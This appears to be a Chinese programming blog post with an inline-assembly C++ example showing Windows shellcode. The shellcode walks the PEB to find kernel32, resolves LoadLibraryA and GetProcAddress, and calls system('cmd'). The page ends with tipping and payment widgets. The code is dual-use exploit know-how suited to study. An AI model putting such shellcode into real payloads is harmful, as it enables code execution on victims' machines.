shellcode中在代码段中使用字符串

// CrackMe.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


#include<iostream>
#include <stdio.h>
#include<Windows.h>

using namespace std;

int main()
{
    goto shellEnd;
    _asm
    {
shellCode:
        pushad;
        pushfd;
        push ebp;
        ;获得PEB地址
        mov eax,fs:[30h]
        ;获得LDR地址
        mov  eax,[eax+0ch];
        ;获得Flink的地址
        mov  eax,[eax+14h];
searchDll:
        ;保存当前Flink
        mov  ecx,eax
        ;获得LDR_DATA_TABLE_ENTRY地址
        sub  eax,8;        
        ;获得第一个模块的dllBase
        mov  eax,[eax+18h]        
        ;保存基址
        mov ebp,eax
        ;获得PE头部
        mov eax,[eax+3ch]
        ;获得导出表的偏移量
        mov eax,[ebp+eax+78h]
        ;获得导出表地址
        add eax,ebp
        ;保存导出表的地址
        mov edx,eax
        ;获得dllname偏移量
        mov ebx,[edx+0ch]
        ;恢复eax中的Flink
        mov eax,ecx
        ;获得下一个Flink
        mov eax,[eax]        
        ;获得dllname地址
        add ebx,ebp
        mov ecx,4e52454Bh  //;'NREK'
        cmp [ebx],ecx
        jnz searchDll
        mov ecx,32334C45h;'23EL'
        cmp [ebx+4],ecx;
        jnz searchDll
        mov ecx,6c6c642eh;'lld.'
        cmp [ebx+8],ecx
        jnz searchDll;
        ;获得导出表函数名称数组基址,ebp中是kernel32的基址,edx则是导出表的偏移量
        mov ebx,[edx+20h]
        ;获得导出表地址
        add ebx,ebp
        ;获得名称函数个数
        mov ecx,[edx+18h]
        ;压入ecx和ebx
        push ecx
        push ebx;
searchLoadLibrary:
        dec ecx;
        ;倒序得出输出函数的函数名
        mov esi,[ebx+ecx*4]
        add esi,ebp
        mov eax,64616f4ch;
        cmp [esi],eax
        jnz searchLoadLibrary;
        mov eax,7262694ch
        cmp [esi+4],eax
        jnz searchLoadLibrary
        mov eax,41797261h
        cmp [esi+8],eax
        jnz searchLoadLibrary;        
        ;找到了函数名称"LoadLibraryA",ecx即是函数序号数组中的索引
        ;找到输出表中的函数序号数组地址偏移量
        mov ebx,[edx+24h]
        ;获得函数序号数组地址
        add ebx,ebp;
        mov cx,[ebx+ecx*2]
        ;找到输出表函数地址偏移
        mov ebx,[edx+1ch]
        ;找到输出表函数数组地址
        add ebx,ebp
        mov eax,[ebx+ecx*4]
        ;获得函数"LoadLibraryA"地址
        add eax,ebp;    
        push eax;将LoadLibraryA地址压入堆栈
        ;开始查找GetProcAddress的地址
        pop eax;
        pop ebx;
        pop ecx;
        push eax
        ;将LoadLibraryA函数地址压入堆栈
searchProc:
        dec ecx;
        ;倒序得出输出函数的函数名
        mov esi,[ebx+ecx*4]
        add esi,ebp
        mov eax,50746547h;'Pegt'
        cmp [esi],eax
        jnz searchProc;
        mov eax,41636F72H;'Acor'
        cmp [esi+4],eax
        jnz searchProc    
        ;找到了函数名称"GetProcAddress",ecx即是函数序号数组中的索引
        ;找到输出表中的函数序号数组地址偏移量
        mov ebx,[edx+24h]
        ;获得函数序号数组地址
        add ebx,ebp;
        mov cx,[ebx+ecx*2]
        ;找到输出表函数地址偏移
        mov ebx,[edx+1ch]
        ;找到输出表函数数组地址
        add ebx,ebp
        mov eax,[ebx+ecx*4]
        ;获得函数"GetProcAddress"地址
        add eax,ebp;eax中是GetProcAddress的地址
        mov esi,eax
        pop ebx;;ebx中是LoadLibraryA的地址
        pop ebp;
        ;到此堆栈是空的;
        ;开始获得system的函数地址
        ;压入'msvcrt.dll'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
        ;平衡堆栈        
        push 0;        
        push 6c6ch
        push 642e7472h;'d.tr'
        push 6376736dh;'cvsm'
        mov ebp,esp;
        push 0;            
        push ebp;        
        call ebx;
        //平衡堆栈
        add esp,20
        ;eax中是msvcrt.dll的基地址,下面获得system的地址
        push 0;
        push 6d65h;'ms'
        push 74737973h;'tsys'        
        mov ebx,esp;
        push 0;
        push ebx
        push eax;
        call esi;    已经获得了system的地址
        ;平衡堆栈
        add esp,10h


        push 0;
        push 646d63h
        mov ebx,esp;
        push 0;
        push ebx;
        call eax;
        add esp,10h
        pop ebp;
        popfd;
        popad;
    }
shellEnd:

    char *strShell=NULL;
    int dwShellSize=0;
    _asm
    {
        lea eax,shellCode;
        lea ebx,shellEnd;
        mov strShell,eax
        sub ebx,eax;
        mov dwShellSize,ebx;
    }    
   
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

世纪殇

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值